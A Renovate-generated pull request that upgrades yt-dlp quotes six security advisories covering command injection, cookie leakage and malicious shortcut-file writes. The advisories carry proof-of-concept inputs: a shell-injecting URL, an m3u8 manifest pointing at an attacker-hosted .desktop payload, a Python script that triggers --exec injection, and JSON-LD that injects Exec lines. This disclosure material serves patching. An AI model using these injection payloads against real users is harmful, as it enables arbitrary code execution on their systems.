Skip to content

fix(deps): update dependency yt-dlp to v2026 [security] - #134

Open
renovate[bot] wants to merge 1 commit into
developfrom
renovate/pypi-yt-dlp-vulnerability
Open

fix(deps): update dependency yt-dlp to v2026 [security]#134
renovate[bot] wants to merge 1 commit into
developfrom
renovate/pypi-yt-dlp-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 24, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
yt-dlp 2024.12.23 → 2026.7.4 age confidence

yt-dlp: Arbitrary Command Injection when using the --netrc-cmd option

CVE-2026-26331 / GHSA-g3gw-q23r-pgqm

More information

Details

Summary

When yt-dlp's --netrc-cmd command-line option (or netrc_cmd Python API parameter) is used, an attacker could achieve arbitrary command injection on the user's system with a maliciously crafted URL.

Impact

yt-dlp maintainers assume the impact of this vulnerability to be high for anyone who uses --netrc-cmd in their command/configuration or netrc_cmd in their Python scripts. Even though the maliciously crafted URL itself will look very suspicious to many users, it would be trivial for a maliciously crafted webpage with an inconspicuous URL to covertly exploit this vulnerability via HTTP redirect. Users without --netrc-cmd in their arguments or netrc_cmd in their scripts are unaffected. No evidence has been found of this exploit being used in the wild.

Patches

yt-dlp version 2026.02.21 fixes this issue by validating all netrc "machine" values and raising an error upon unexpected input.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.02.21 as soon as possible.

Users who are unable to upgrade should avoid using the --netrc-cmd command-line option (or netrc_cmd Python API parameter), or they should at least not pass a placeholder ({}) in their --netrc-cmd argument.

Details

yt-dlp's --netrc-cmd option can be used to run any arbitrary shell command to retrieve site login credentials so that the user doesn't have to store the credentials as plaintext in the filesystem. The --netrc-cmd argument is a shell command with an optional placeholder ({}). If the placeholder is present in the argument, it is replaced with the netrc "machine" value, which specifies the site for which login credentials are needed.

The netrc "machine" value is usually explicitly defined in yt-dlp's extractor code for a given site. However, yt-dlp has four extractors where the netrc "machine" value needs to be dynamically sourced from the site's hostname. And in three of those extractors (GetCourseRuIE, TeachableIE and TeachableCourseIE), wildcard matches are allowed for one or more subdomains of the hostname. This can result in a netrc "machine" value that contains special shell characters.

The --netrc-cmd argument is executed by a modified version of Python's subprocess.Popen with shell=True, which means that any special characters may be interpreted by the host shell, potentially leading to arbitrary command injection.

Here is an example of maliciously crafted URL input that exploits the vulnerability:

> yt-dlp --netrc-cmd "echo {}" "https://;echo pwned>&2;#.getcourse.ru/video"
[GetCourseRu] Executing command: echo getcourseru
WARNING: [GetCourseRu] Failed to parse .netrc: bad toplevel token 'getcourseru' (-, line 2)
[GetCourseRu] Extracting URL: https://;echo pwned>&2;#.getcourse.ru/video
[GetCourseRu] Executing command: echo ;echo pwned>&2;
pwned
[GetCourseRu] No authenticators for ;echo pwned>&2;
[GetCourseRu] video: Downloading webpage

Although only 3 of yt-dlp's extractors are directly susceptible to this attack, yt-dlp's "generic" extractor will follow HTTP redirects and try to match the resulting URL with one of the dedicated extractors. This means that any URL processed by the generic extractor could ultimately lead to a maliciously crafted URL that is matched by one of the vulnerable extractors. Hypothetically, an attacker could create a website with an inconspicuous URL and legitimate-looking media content that would serve an HTTP redirect to a maliciously crafted URL when it detects a request from yt-dlp.

References

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: File Downloader cookie leak with curl

CVE-2026-50019 / GHSA-f7j3-774f-rfhj

More information

Details

Summary

If curl is used an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's.

This is the equivalent to GHSA-v8mc-9377-rwjj for the curl downloader. The vulnerable behavior is present in yt-dlp released since 2023.09.24.

Details

At the file download stage, the cookies are passed by yt-dlp to the file downloader via --cookie. However, unless these are loaded from a file, this operation does not activate the cookie engine. As a result, curl will send cookies with requests to domains or paths for which the cookies are not scoped.

An example of a potential attack scenario exploiting this vulnerability:

  1. an attacker has crafted a malicious website with an embedded URL designed to be detected by yt-dlp as a video download. This embedded URL has the domain of a trusted site that the user has loaded cookies for, and conducts an unvalidated redirect to a target URL.
  2. yt-dlp extracts this URL and calculates the cookies which are then passed to curl.
  3. the download URL redirects to a server controlled by the attacker, to which curl forwards the user's sensitive cookie information.
Patches

yt-dlp version 2026.06.09 fixes this issue by doing the following:

  • Pass the cookies through stdin via --cookie - if curl is version 7.59 or higher.
  • Pass the cookies via --cookie /dev/fd/0 if the system supports this device file.
  • In all other cases create a temporary file, save the cookies and then pass via --cookie <file>.
Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

For users who are not able to upgrade:

  • Do not use --downloader curl.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)

CVE-2026-50023 / GHSA-c6mh-fpjc-4pr3

More information

Details

Summary

A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.

Details

The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.

Proof of Concept

1. Start a malicious server:
Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:

#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"

And host the payload.desktop file with malicious content:

[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle

2. Trigger the download:
In this case, the generic extractor triggers the exploit if the --write-subs option is used:

yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"

Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.

Patches

yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

Users who are not able to upgrade should do ALL of the following:

  • Only pass fully trusted input URLs to yt-dlp
  • Do not use the --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, or --embed-thumbnail options
  • Use --format - to interactively select download formats and validate their file extensions

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Arbitrary code execution via manifest downloads with aria2c

CVE-2026-50574 / GHSA-vx4q-3cr2-7cg2

More information

Details

Summary

If aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp.

Details

When downloading a fragmented manifest format such as an HLS or DASH stream, yt-dlp first extracts a list of all fragment URLs from the stream's manifest. If the user has selected aria2c as an external downloader, yt-dlp then constructs an input file for aria2c from the fragment URL list and passes its filepath as the argument to aria2c's -i option.

aria2c's -i (or --input-file) option allows for downloading a list of URIs from the given text file. The text file must be formatted as a list of URIs separated by newlines. aria2c's format permits configuration lines for each URI, which can contain command-line options to be given to aria2c. These optional lines follow each URI line and are signified only by leading whitespace. yt-dlp constructs the input file with these optional lines so that it's able to specify the output filename for each fragment using the out= option.

yt-dlp's utilization of the aria2c input file format presents two known attack vectors:

  1. An attacker can craft a malicious DASH manifest with one or more fragment URLs that contain &#&#8203;10;, which is the HTML escape sequence for a newline. yt-dlp interprets this escape sequence as an actual newline character when writing the fragment URLs to the aria2c input file, which allows for an attacker to inject arbitrary aria2c options into the input file. With option injection, the attacker can achieve arbitrary file writes. This attack vector is possible only via downloads of DASH formats, since their manifests are an XML format which necessitates unescaping of HTML special characters.

  2. An attacker can craft a malicious metadata response where the data parsed by yt-dlp as the title field (or any other metadata field that the user includes in their output template) contains strategically placed newlines and magnet URIs. If the user has passed the --no-windows-filename option to disable sanitization of newlines in output filenames, the attacker is able to achieve arbitrary file writes by injecting arbitrary URIs and options into the aria2c input file. This attack vector is possible via downloads of both HLS and DASH formats.

On Windows, attacker-controlled file writes can lead to immediate arbitrary code execution: the attacker could write a malicious executable file named ffmpeg.exe to the current working directory, and it could be invoked during the postprocessing stage if the user's yt-dlp.exe also resides in the current working directory.

On all platforms, attacker-controlled file writes can lead to arbitrary code execution on repeat invocations of yt-dlp: the attacker could write a yt-dlp configuration file (yt-dlp.conf) to the current working directory containing a malicious --exec argument.

Patches

yt-dlp version 2026.06.09 fixes this issue by removing support for downloading fragmented manifest formats with aria2c.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

For users who are not able to upgrade:

  • Add --downloader dash,m3u8:native to your yt-dlp command.

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp

GHSA-69qj-pvh9-c5wg

More information

Details

Summary

yt-dlp's --exec option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. %(title)s) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.

Details

Since yt-dlp version 2021.04.11, the --exec option has supported "output template syntax", which is a superset of Python's printf-style string formatting also used by the --output option. This means the user is able to pass a "command template" as an argument to the --exec option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.

yt-dlp implements a %()q conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as %()s which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. ;, &, |) to break out of the intended command and execute payload commands.

Impact

The impact is limited to users who pass an --exec command template containing unsafe conversions in their yt-dlp command or configuration file: %()s, %()a, %()r, %()j, %()S (including any of their flagged variants.)

Patches

yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an --exec command template to those known to be safe: %()d, %()i, %()f, %()q (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an --exec argument containing output template syntax.

Workarounds

This vulnerability can be fully mitigated by doing any of the following:

  • Upgrade yt-dlp to version 2026.06.09 or later
  • Only use safe conversions (e.g. %()d, %()i, %()f, %()q) in any --exec command templates
  • Do not use "output template syntax" in any --exec arguments
  • Do not use the --exec option
Proof-of-Concept
  1. An attacker sets the title of a video to a malicious payload, e.g.: video; touch pwned.txt #
  2. The victim downloads this video using yt-dlp with the --exec flag.

Reproduction steps (simulated):

  1. Create a python script poc.py to simulate the internal behavior:
import unittest
import os

from yt_dlp.postprocessor.exec import ExecPP
from yt_dlp.YoutubeDL import YoutubeDL
from yt_dlp.utils import PostProcessingError

##### Import Popen to use the REAL one for the PoC (to actually create the file)
from yt_dlp.utils import Popen as RealPopen

class TestDemonstrativePoC(unittest.TestCase):
    FILE_NAME = "PWNED.txt"

    def setUp(self):
        # Remove the file if it exists
        if os.path.exists(self.FILE_NAME):
            os.remove(self.FILE_NAME)

    def test_1_demonstrate_vulnerability_simulated(self):
        """
        Simulates the code BEFORE the fix to show what would happen.
        """
        print("\n--- TEST 1: Simulating vulnerable state ---")

        # 1. Define the vulnerable Parse Method
        def vulnerable_parse_cmd(self, cmd, info):
            # This mimics the code before my patch
            tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)
            if tmpl_dict:
                return self._downloader.escape_outtmpl(tmpl) % tmpl_dict
            return cmd

        # 2. Patch the class temporarily
        original_parse_cmd = ExecPP.parse_cmd
        ExecPP.parse_cmd = vulnerable_parse_cmd

        info = {
            'id': '1234',
            # MALICIOUS TITLE:
            # 1. 'video' gets echoed
            # 2. ; separator
            # 3. touch PWNED.txt creates the file
            # 4. # comments out the rest
            'title': f'video; touch {self.FILE_NAME} #',
            'ext': 'mp4',
            'filepath': 'video.mp4'
        }

        ydl = YoutubeDL({'verbose': False, 'quiet': True})

        try:
            print(f"[*] Payload Title: {info['title']}")
            print("[*] Executing: echo %(title)s")

            # Use the REAL Popen to actually execute shell commands
            import yt_dlp.postprocessor.exec
            original_popen_ref = yt_dlp.postprocessor.exec.Popen
            yt_dlp.postprocessor.exec.Popen = RealPopen

            pp = ExecPP(ydl, 'echo %(title)s')
            pp.run(info)

            # Restore Popen ref
            yt_dlp.postprocessor.exec.Popen = original_popen_ref

            # Check if file was created
            if os.path.exists(self.FILE_NAME):
                print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!")
            else:
                print("[?] File not created. Payload might have failed.")

        finally:
            # Restore the secure method
            ExecPP.parse_cmd = original_parse_cmd

if __name__ == '__main__':
    unittest.main()
  1. Run the script: python3 poc.py
  2. Check the directory. A file named PWNED.txt will be created, proving arbitrary command execution.
poc

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output

CVE-2026-55404 / GHSA-6v4j-43gg-vj32

More information

Details

Summary

If the --write-link, --write-url-link or --write-desktop-link options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the .url and .desktop shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user's system if the user executes the generated .url or .desktop files.

Details

The expected result of yt-dlp's --write-link, --write-url-link and --write-desktop-link options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The --write-url-link option writes a .url shortcut file for Windows, the --write-desktop-link option writes a .desktop shortcut file for Linux, and the --write-link option may write a .url file or a .desktop file depending on the user's platform.

There are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp's improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.

Scenario 1: file:// URI injection in Windows .url shortcut

If a yt-dlp user passes the --write-link or --write-url-link option to generate a Windows .url file, the URL written to the shortcut file is sourced from the downloaded media's metadata--specifically, its webpage_url value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this webpage_url value is performed if it is fed back to yt-dlp as an input URL (e.g. via the --load-info-json option), but no validation is performed before it is output to a .url shortcut file.

This lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting webpage_url value is a file:// URI. A malicious file URI could point to a remote executable, e.g. file://example.org/pwned.exe. If a Windows user double-clicks a .url file that points to this webpage_url, Windows will execute the malicious remote executable on the user's system.

Scenario 2: Shell command injection in Linux .desktop shortcut

The Linux .desktop file format is a more versatile than the Windows .url file format. It is defined by the freedesktop.org "desktop entry" file specification, and supports multiple types of shortcuts: a Link type for URLs, a Directory type for filesystem folders, and an Application type for programs or shell commands. yt-dlp outputs a desktop entry file of the Link type, using the template below:

[Desktop Entry]
Encoding=UTF-8
Name=%(filename)s
Type=Link
URL=%(url)s
Icon=text-html

The keys under the [Desktop Entry] group are separated by newlines, and the type of desktop entry is set by the value paired to the Type key.

If a yt-dlp user passes the --write-link or --write-desktop-link option to generate a desktop entry file, in addition to the webpage_url value there is a filename value that is written to the shortcut file. By default, yt-dlp will sanitize the filename value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the --no-windows-filenames option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used.

If the user passes --write-link or --write-desktop-link together with --no-windows-filenames to yt-dlp, an unsanitized filename value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting filename value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the Type of the desktop entry to Application and achieve shell command injection.

For example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:

<html>
<script type="application/ld+json">{
    "@context": "https://schema.org",
    "@type": "VideoObject",
    "name":"Stream\nType=Application\nExec=sh -c &quot;touch /tmp/pwned&quot;\n\n[newgroup]\nName=endtitle",
    "contentUrl": "https://example.org/video.mp4"
}</script>
</html>

Then, a yt-dlp user could try to download the legitimate video content from the page by running the following command:

yt-dlp --write-desktop-link --no-windows-filenames "https://example.org/123"

Which would result in a desktop entry file containing a malicious shell command:

[Desktop Entry]
Encoding=UTF-8
Name=Stream
Type=Application
Exec=sh -c "touch /tmp/pwned"

[newgroup]
Name=endtitle [123]
Type=Link
URL=%(url)s
Icon=text-html

If a user on a Linux desktop environment executes the generated .desktop file, the malicious shell command would run on the user's system. (In the above example, a /tmp/pwned file would be created in the user's filesystem.)

Patches

yt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the .desktop file generated from using the --write-desktop-link or --write-link options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)

Workarounds

It is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.

Users who are not able to upgrade should avoid using any of the --write-link, --write-url-link or --write-desktop-link options.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

yt-dlp/yt-dlp (yt-dlp)

v2026.7.4

Compare Source

v2026.6.9

Compare Source

v2026.3.17

Compare Source

v2026.3.13

Compare Source

v2026.3.3

Compare Source

v2026.2.21

Compare Source

v2026.2.4

Compare Source

v2026.1.31

Compare Source

v2026.1.29

Compare Source

v2025.12.8

Compare Source

v2025.11.12

Compare Source

Important changes
  • An external JavaScript runtime is now required for full YouTube support
    yt-dlp now requires users to have an external JavaScript runtime (e.g. Deno) installed in order to solve the JavaScript challenges presented by YouTube. Read more
Core changes
Extractor changes
Downloader changes
Networking changes
Misc. changes

v2025.10.22

Compare Source

Important changes
  • A stopgap release with a TEMPORARY partial fix for YouTube support
    Some formats may still be unavailable, especially if cookies are passed to yt-dlp. The NEXT release, expected very soon, will require an external JS runtime (e.g. Deno) in order for YouTube downloads to work properly. Read more
  • The minimum required Python version has been raised to 3.10
    Python 3.9 has reached its end-of-life as of October 2025, and yt-dlp has now removed support for it. Read more
Core changes
Extractor changes
Misc. changes

v2025.10.14

Compare Source

Core changes
Extractor changes

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 3 times, most recently from 3651f68 to 0122150 Compare March 2, 2026 00:52
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 2 times, most recently from 423c7b3 to 736ea81 Compare March 9, 2026 00:45
@renovate renovate Bot changed the title fix(deps): update dependency yt-dlp to v2026 [security] fix(deps): update dependency yt-dlp to v2026 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/pypi-yt-dlp-vulnerability branch March 27, 2026 01:40
@renovate renovate Bot changed the title fix(deps): update dependency yt-dlp to v2026 [security] - autoclosed fix(deps): update dependency yt-dlp to v2026 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 3 times, most recently from 9697ed2 to 7614792 Compare April 4, 2026 01:46
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 2 times, most recently from 4d835e8 to 82dd2b4 Compare April 18, 2026 04:47
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch from 82dd2b4 to 83754f4 Compare April 25, 2026 05:07
@renovate renovate Bot changed the title fix(deps): update dependency yt-dlp to v2026 [security] fix(deps): update dependency yt-dlp to v2026 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency yt-dlp to v2026 [security] - autoclosed fix(deps): update dependency yt-dlp to v2026 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 3 times, most recently from 27fe640 to eb2554a Compare May 2, 2026 04:48
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch from eb2554a to 999b2f7 Compare May 16, 2026 05:16
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 2 times, most recently from 46716ad to 469704f Compare May 25, 2026 00:55
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 2 times, most recently from 565b0d6 to 9c8974d Compare May 31, 2026 16:46
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch 2 times, most recently from e3a7b7c to 37d9371 Compare June 24, 2026 01:06
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch from 37d9371 to fa0ad8b Compare June 27, 2026 04:34
@renovate
renovate Bot force-pushed the renovate/pypi-yt-dlp-vulnerability branch from fa0ad8b to d0b7e55 Compare July 28, 2026 13:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

breaking dependencies

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants